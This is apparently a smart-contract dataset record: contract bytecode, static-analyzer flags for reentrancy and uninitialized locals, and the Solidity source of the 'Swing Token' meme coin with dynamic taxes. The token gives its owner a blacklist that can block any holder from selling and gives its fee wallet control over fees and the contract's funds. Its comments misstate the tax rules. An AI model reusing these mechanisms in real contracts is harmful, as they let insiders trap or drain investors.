ffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156117f557fe5b6102c65a03f1151561180357fe5b5050506040518051905015156118195760006000fd5b61182385856120e0565b92505b5b50505b92915050565b611866611861336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a46000600460146101000a81548160ff0219169083151502179055505b5b50505b565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a215760019050611c3e565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a805760019050611c3e565b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ae05760009050611c3e565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b70096138430856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019350505050602060405180830381600087803b1515611c1c57fe5b6102c65a03f11515611c2a57fe5b505050604051805190509050611c3e565b5b5b5b92915050565b801515611c515760006000fd5b5b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611d9557fe5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611e1d57fe5b611ea3600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120c6565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6c600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120c6565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff8600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120ac565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082828401915081101515156120bf57fe5b5b92915050565b600082828403915081111515156120d957fe5b5b92915050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561212d57fe5b612176600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120c6565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612202600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120ac565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820f43f44b93450e240dac059620c5782cb2c7ee8fe816e597f6bd0a691cc1e06410029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
8,333
0xd6f9e4e947a48f23921deae3bca8989a762e9304
/** * * $SWING * TG: https://t.me/swing_token * * * Tokenomics: * * Tax is only 5% but swings * * Reversal mode - buy tax is 1% for 5 minutes if one of following is met: * - 6 consecutive sells * - a single sell of 2% price impact * * Anti-paperhand mode - sell tax is increased to 10% for 5 minutes if one of following is met: * - 6 consecutive buys * - a single buy of 2% price impact * * Redistribution - 20% of all collected fees * * Early bird mechanic - runs for the first 10 minutes * - 10% buy tax * * No team tokens, no presale * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Swing is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Swing Token"; string private constant _symbol = unicode"SWING"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 6; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _cooldownEnabled = true; bool private _communityMode = false; bool private inSwap = false; uint256 private launchBlock = 0; uint256 private buyLimitEnd; uint256 private antipaper = 0; uint256 private buymode = 0; uint256 private consecBuyCounter = 0; uint256 private consecSellCounter = 0; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,true); } uint256 totalFee = 2; // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.timestamp > _launchTime + (10 minutes)) { if (buymode > block.timestamp) { totalFee = 2; } else { totalFee = 5; } } else { totalFee = 10; } _taxFee = (totalFee.mul(2)).div(10); _teamFee = (totalFee.mul(8)).div(10); if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (45 seconds); } } if (amount >= balanceOf(uniswapV2Pair).mul(2).div(100)) { antipaper = block.timestamp + (5 minutes); } if (consecBuyCounter >= 5) { antipaper = block.timestamp + (5 minutes); consecBuyCounter = 0; } else { consecBuyCounter++; } consecSellCounter = 0; } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if (antipaper > block.timestamp) { totalFee = 10; } else { totalFee = 5; } _taxFee = (totalFee.mul(2)).div(10); _teamFee = (totalFee.mul(8)).div(10); if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(6).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(6).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } if (amount >= balanceOf(uniswapV2Pair).mul(2).div(100)) { buymode = block.timestamp + (5 minutes); } if (consecSellCounter >= 5) { buymode = block.timestamp + (5 minutes); consecSellCounter = 0; } else { consecSellCounter++; } consecBuyCounter = 0; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _communityMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; buyLimitEnd = block.timestamp + (20 seconds); _launchTime = block.timestamp; } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } // Fees will no longer be collected when function setCommunityMode(bool onoff) external { require(_msgSender() == _FeeAddress); _communityMode = onoff; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function isAntipaperMode() public view returns (bool) { return (antipaper > block.timestamp); } function isSwingMode() public view returns (bool) { return (buymode > block.timestamp); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101bb5760003560e01c8063715018a6116100ec578063ba48ecb31161008a578063ca80166711610064578063ca801667146105df578063cf0848f71461060a578063db92dbb614610633578063dd62ed3e1461065e576101c2565b8063ba48ecb314610586578063c3c8cd80146105b1578063c9567bf9146105c8576101c2565b8063a9059cbb116100c6578063a9059cbb146104cc578063a985ceef14610509578063b1e5237314610534578063b515566a1461055d576101c2565b8063715018a61461045f5780638da5cb5b1461047657806395d89b41146104a1576101c2565b80633bbac579116101595780635d098b38116101335780635d098b38146103a557806368a3a6a5146103ce5780636fc3eaec1461040b57806370a0823114610422576101c2565b80633bbac57914610316578063437823ec146103535780635932ead11461037c576101c2565b806323b872dd1161019557806323b872dd1461025a578063273123b71461029757806327f3a72a146102c0578063313ce567146102eb576101c2565b806306fdde03146101c7578063095ea7b3146101f257806318160ddd1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc61069b565b6040516101e991906137f8565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061332c565b6106d8565b60405161022691906137dd565b60405180910390f35b34801561023b57600080fd5b506102446106f6565b604051610251919061399a565b60405180910390f35b34801561026657600080fd5b50610281600480360381019061027c91906132d9565b610707565b60405161028e91906137dd565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b99190613212565b6107e0565b005b3480156102cc57600080fd5b506102d56108d0565b6040516102e2919061399a565b60405180910390f35b3480156102f757600080fd5b506103006108e0565b60405161030d9190613a0f565b60405180910390f35b34801561032257600080fd5b5061033d60048036038101906103389190613212565b6108e9565b60405161034a91906137dd565b60405180910390f35b34801561035f57600080fd5b5061037a6004803603810190610375919061326c565b61093f565b005b34801561038857600080fd5b506103a3600480360381019061039e91906133b5565b6109fb565b005b3480156103b157600080fd5b506103cc60048036038101906103c7919061326c565b610af3565b005b3480156103da57600080fd5b506103f560048036038101906103f09190613212565b610c6a565b604051610402919061399a565b60405180910390f35b34801561041757600080fd5b50610420610cc1565b005b34801561042e57600080fd5b5061044960048036038101906104449190613212565b610d33565b604051610456919061399a565b60405180910390f35b34801561046b57600080fd5b50610474610d84565b005b34801561048257600080fd5b5061048b610ed7565b604051610498919061370f565b60405180910390f35b3480156104ad57600080fd5b506104b6610f00565b6040516104c391906137f8565b60405180910390f35b3480156104d857600080fd5b506104f360048036038101906104ee919061332c565b610f3d565b60405161050091906137dd565b60405180910390f35b34801561051557600080fd5b5061051e610f5b565b60405161052b91906137dd565b60405180910390f35b34801561054057600080fd5b5061055b600480360381019061055691906133b5565b610f72565b005b34801561056957600080fd5b50610584600480360381019061057f919061336c565b610ff0565b005b34801561059257600080fd5b5061059b611200565b6040516105a891906137dd565b60405180910390f35b3480156105bd57600080fd5b506105c661120c565b005b3480156105d457600080fd5b506105dd611286565b005b3480156105eb57600080fd5b506105f46117c6565b60405161060191906137dd565b60405180910390f35b34801561061657600080fd5b50610631600480360381019061062c919061326c565b6117d2565b005b34801561063f57600080fd5b5061064861188e565b604051610655919061399a565b60405180910390f35b34801561066a57600080fd5b5061068560048036038101906106809190613299565b6118c0565b604051610692919061399a565b60405180910390f35b60606040518060400160405280600b81526020017f5377696e6720546f6b656e000000000000000000000000000000000000000000815250905090565b60006106ec6106e5611947565b848461194f565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610714848484611b1a565b6107d584610720611947565b6107d08560405180606001604052806028815260200161416560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610786611947565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125629092919063ffffffff16565b61194f565b600190509392505050565b6107e8611947565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c906138da565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006108db30610d33565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610980611947565b73ffffffffffffffffffffffffffffffffffffffff16146109a057600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a03611947565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a87906138da565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff16604051610ae891906137dd565b60405180910390a150565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b34611947565b73ffffffffffffffffffffffffffffffffffffffff1614610b5457600080fd5b600060056000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610cba9190613bb1565b9050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d02611947565b73ffffffffffffffffffffffffffffffffffffffff1614610d2257600080fd5b6000479050610d30816125c6565b50565b6000610d7d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c1565b9050919050565b610d8c611947565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e10906138da565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5357494e47000000000000000000000000000000000000000000000000000000815250905090565b6000610f51610f4a611947565b8484611b1a565b6001905092915050565b6000601360159054906101000a900460ff16905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fb3611947565b73ffffffffffffffffffffffffffffffffffffffff1614610fd357600080fd5b80601360166101000a81548160ff02191690831515021790555050565b610ff8611947565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107c906138da565b60405180910390fd5b60005b81518110156111fc57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110dd576110dc613d69565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156111715750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106111505761114f613d69565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156111e95760016006600084848151811061118f5761118e613d69565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806111f490613cc2565b915050611088565b5050565b60004260165411905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661124d611947565b73ffffffffffffffffffffffffffffffffffffffff161461126d57600080fd5b600061127830610d33565b90506112838161272f565b50565b61128e611947565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461131b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611312906138da565b60405180910390fd5b601360149054906101000a900460ff161561136b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113629061395a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506113fb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061194f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561144157600080fd5b505afa158015611455573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611479919061323f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114db57600080fd5b505afa1580156114ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611513919061323f565b6040518363ffffffff1660e01b815260040161153092919061372a565b602060405180830381600087803b15801561154a57600080fd5b505af115801561155e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611582919061323f565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061160b30610d33565b600080611616610ed7565b426040518863ffffffff1660e01b81526004016116389695949392919061377c565b6060604051808303818588803b15801561165157600080fd5b505af1158015611665573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061168a919061340f565b505050674563918244f40000600f81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161173b929190613753565b602060405180830381600087803b15801561175557600080fd5b505af1158015611769573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178d91906133e2565b506001601360146101000a81548160ff0219169083151502179055506014426117b69190613ad0565b60158190555042600c8190555050565b